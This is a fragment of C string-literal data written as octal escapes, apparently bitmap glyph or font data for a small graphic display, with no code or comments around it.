"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\340\340\340\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0\0\0\0\0\0\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\376\374\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\177\377\377\376\370\200\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\77\177\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0@\340\360\370\370x||<<<><<<<|\374\370\370\360\340\300\200" "\0\0\0\0\0\0\0\0\0\0\1\1\0\0\0\0\200\200\200\200\200\200\200\200\200\200\201\207\377\377\377\377" "\376\0\0\0\0\200\340\360\370\374\376>\37\37\17\17\17\17\17\17\17\17\7\7\7\7\7\7\377\377\377\377" "\377\0\0\0\0\37\177\377\377\377\370\340\300\300\200\200\200\200\200\200\300\300\300\340\360\370\374\177\377\377\377\377" "\377\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\370\370\370\370\370\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\200\300\340\360xx<<<<<||\374\374\370\370\360\340\300\200" "\0\0\0\0\0\0\377\377\377\377\377\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\77\377\377\377" "\376\360\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\177\370\340\340\300\200\200\200\200\200\200\300\300\340\340\360\374\377\377\177\37" "\7\1\0\0\0\0\7\7\7\7\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\360\360\370\374|~>>\36\36\36\36\36\36\36>>|\374\370\370" "\360\340@\0\0\0\340\374\377\377\377\177\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3" "\1\0\0\0\0\0\77\377\377\377\377\360\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\1\7\17\77\177\177\376\374\370\360\340\340\300\300\300\300\300\300\300\340\340\360\360\370\374" "x \0\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\3\3\3\3\7\3\3\3\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370" "\370\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\0\300\340\360\360\370\370||<<><<<|x\370\360\340\300\377\377\377\377" "\377\0\0\0\0\340\374\377\377\377\177\7\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\77\377\377\377\377" "\377\0\0\0\0\377\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377" "\377\0\0\0\0\0\7\37\177\377\377\376\370\360\340\300\300\200\200\200\200\200\300\300\340\360|\77\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\370\374||>>\36\36\36\36\36\36>>|\374\370\370\360\340\200" "\0\0\0\0\0\340\376\377\377\377\337\303\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\301\377\377\377\377" "\376\200\0\0\0\177\377\377\377\377\343\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\0\0\0\0\0\3\17\37\77\177\377\374\370\360\340\340\340\300\300\300\300\300\300\300\340\340\360\360\370x\60" "\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\3\3\3\3\3\7\7\3\3\3\3\3\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\360\370\370||||||||\370\370" "\360\360\340\300\0\0\0\0\0\0\0\0\0\374\377\377\377\377\37\3\1\0\0\0\0\0\0\0\0\0\0\0" "\1\7\7\1\0\0\360\360\360\360\360\360\360\377\377\377\377\377\360\360\360\360\360\360\360\360\360\360\360\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\340\360\370\374\374~>>\36\36\36\36\36>>|\370\360\370\370\274<\36\36" "\36\36\36\30\0\0\177\377\377\377\377\343\200\0\0\0\0\0\0\0\0\0\0\0\301\377\377\377\377~\0\0" "\0\0\0\0\0\0\0\1\203\307\357\377\77\77>><<<<<>>\37\37\17\7\3\1\0\0\0" "\0\0\0\0\0\0\0\17\77\277\377\374\370\370\370\370\370\360\360\360\360\360\360\360\360\360\360\360\360\340\340\300" "\200\0\0\0\360\374\376\377\377\317\203\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\201\303\377\377\377" "\377\177\0\0\0\3\7\17\17\37\37\37\36>>>>><<>>>>>\37\37\37\17\17\7\3" "\1\0\0\0\0\0\0\370\370\370\370\370\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\377\377\0\300\340\340\360xx<<<<<||\374\374\370\360\340\300" "\0\0\0\0\0\0\0\377\377\377\377\377\77\7\3\1\0\0\0\0\0\0\0\0\0\0\0\3\377\377\377\377" "\377\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0<<<<<<<<\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\377\377\377\377\377\200\200\200\200\200\200\200\200\0\0" "\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\370\370\370\360\340\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0<<<<<<<<<<<<\374\374\374\374\374\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\300\0\0\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377\177\0\0\0\0" "\0\0\0\0\0\4\16\17\37\77>>|||||||<>\77\37\37\17\7\1\0\0\0\0\0" "\0\0\0\0\0\0\370\370\370\370\370\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374|<\34\14" "\4\0\0\0\0\0\377\377\377\377\377\0\0\200\300\340\360\370\374\376\77\37\17\7\7\3\1\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377>\37\17\7\7\7\37\77\177\377\376\370\360\340\300\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\3\7\17\77\177\377\376\374\370\360\300" "\200\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7\7" "\7\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0xxxxxxxxxx\370\370\370\370\370\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\377\377\377\377\377\200\200\200\200\200\200\200\200\200\200" "\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\376\376\376\376\376\340\370<\34\36\36\36~\376\376\374\370\340\360\370<\36\36\36\36>\376\376" "\374\374\360\0\377\377\377\377\377\3\0\0\0\0\0\0\0\377\377\377\377\377\3\0\0\0\0\0\0\0\377\377" "\377\377\377\0\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377" "\377\377\377\0\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\377\377" "\377\377\377\0\3\3\3\3\3\0\0\0\0\0\0\0\0\3\3\3\3\3\0\0\0\0\0\0\0\0\3\3" "\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\376\376\376\376\376\200\340\360\360x<<\36\36\36\36\36>>~\376\374\370\360\340" "\200\0\0\0\0\0\0\377\377\377\377\377\37\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\377\377\377\377" "\377\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\0\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3" "\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\360\370\370||<<<><<||\374\370\370\360\340\300\200" "\0\0\0\0\0\300\370\376\377\377\377\17\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\77\377\377" "\377\374\360\0\0\177\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377" "\377\377\377\0\0\0\3\17\77\177\377\376\374\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\374\377\177\77" "\37\7\1\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\374\374\374\374\374\200\300\340\360xx<<<<><||\374\374\370\360\360\340\300" "\0\0\0\0\0\0\377\377\377\377\377\37\3\1\0\0\0\0\0\0\0\0\0\0\0\0\1\3\17\377\377\377" "\377\374\340\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\301\377\377" "\377\377\177\0\0\0\377\377\377\377\377\177\370\360\340\300\300\200\200\200\200\200\200\300\300\340\360\370\376\377\177\77" "\37\7\0\0\0\0\377\377\377\377\377\0\0\1\1\3\7\7\7\7\7\17\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\177\177\177\177\177\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360\370\374|~>>\36\36\36\36\36\36><|\370\360\300\376\376\376" "\376\376\0\0\0\360\376\377\377\377\77\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\377\377\377\377" "\377\377\0\0\0\77\377\377\377\377\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\377\0\0\0\0\3\17\37\77\177\377\374\370\360\340\340\300\300\300\300\300\300\340\360\360|>\37\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\1\1\3\3\3\3\7\3\3\3\3\1\1\0\0\0\0\377\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\376\376\376\376\376\200\300\360\370\370|<>>\36\36\36\36\36\36>~\374" "\374x\20\0\0\0\0\0\0\377\377\377\377\377\177\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\1\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\360\370\370\370||<<<><<<||\370\370\360\360\340\300" "\200\0\0\0\0\0\0\0\37\177\377\377\377\371\340\300\300\200\200\200\0\0\0\0\0\0\0\1\3\7\7\1" "\0\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\17\17\17\37\37\37>>~\374\374\370\360\340" "\300\0\0\0\0\0`\370\376\370\360\360\340\300\300\300\200\200\200\200\200\200\200\300\300\300\340\360\377\377\377\177" "\37\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\376\377\17\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0<<<<<<<\274\377\377\377\377\377<<<<<<<<<<<\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\7\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\37\177\377\377\377\376\340\300\300\200\200\200\200\200\300\300\340\340" "\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\3" "\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\374\374\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374" "\374\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377" "\377\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377" "\377\0\0\0\0\0\7\37\177\377\377\377\370\340\300\300\200\200\200\200\200\300\300\340\340\360|\77\377\377\377\377" "\377\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\17\7\7\7\7\3\3\1\0\0\0\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\34|\374\374\374\364\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\370\374\374" "\374<\0\0\0\0\0\3\17\177\377\377\376\370\300\0\0\0\0\0\0\0\0\0\0\200\340\374\377\377\77\7" "\1\0\0\0\0\0\0\0\0\0\1\17\77\377\377\377\370\340\0\0\0\0\300\360\376\377\177\37\7\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\77\377\377\377\374\370\377\377\77\17\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7\7\7\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\374\374\374\354\0\0\0\0\0\0\0\0\0\200\340\340\340\200\0\0\0\0\0\0\0\0\0\374" "\374\374\374\14\37\377\377\377\374\200\0\0\0\0\0\200\370\377\377\77\377\377\374\340\0\0\0\0\0\0\374\377" "\377\377\7\0\0\3\177\377\377\377\360\0\0\200\370\377\377\37\1\0\3\37\377\377\376\360\200\0\0\374\377\377" "\177\1\0\0\0\0\0\17\377\377\377\376\370\377\377\17\0\0\0\0\0\0\1\17\377\377\377\370\376\377\377\37" "\0\0\0\0\0\0\0\0\1\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\14\34|\374\374\370\360\300\200\0\0\0\0\0\0\0\0\0\200\340\360\374\374|<\14" "\4\0\0\0\0\0\0\0\0\0\3\7\17\77\177\376\374\370\340\300\340\370\374\377\177\37\17\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\361\377\377\377\77\377\377\377\360\340\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\370\374\377\177\77\17\7\1\0\0\0\1\7\17\37\177\377\376\370\360\300\200" "\0\0\0\0\0\4\6\7\7\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7\7" "\7\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\4<\374\374\374\374\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\374\374\374" "\374<\4\0\0\0\0\0\7\37\377\377\377\374\360\200\0\0\0\0\0\0\0\0\0\200\360\376\377\377\77\17" "\1\0\0\0\0\0\0\0\0\0\0\3\17\177\377\377\376\360\300\0\0\0\200\360\374\377\377\77\17\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\77\377\377\376\370\374\377\377\77\17\1\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\361\377\377\377\77\7\1\0\0\0\0\0\0\0\0" "\0\0\0\0\34\77>|||x|||>\77\37\17\17\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0<<<<<<<<<<<<<<<<<<\274\374\374\374\374\374|<" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\360\370\374\376\177\77\17\7\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360\374\376\177\77\37\17\3\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\360\370\374\376\377\237\217\207\203\201\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200" "\300\300\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\300\300\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\374\376\377\377\37\17\7\7\7\7\3\3\3\3\3\3\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\200\300\360\377\377\377\77\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\17\17\37\37\37\37\77\377\371\361\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\17\37\77\177\377\376\374\370\360\360\360\360\360\360\360\360\360\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\370\370\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" 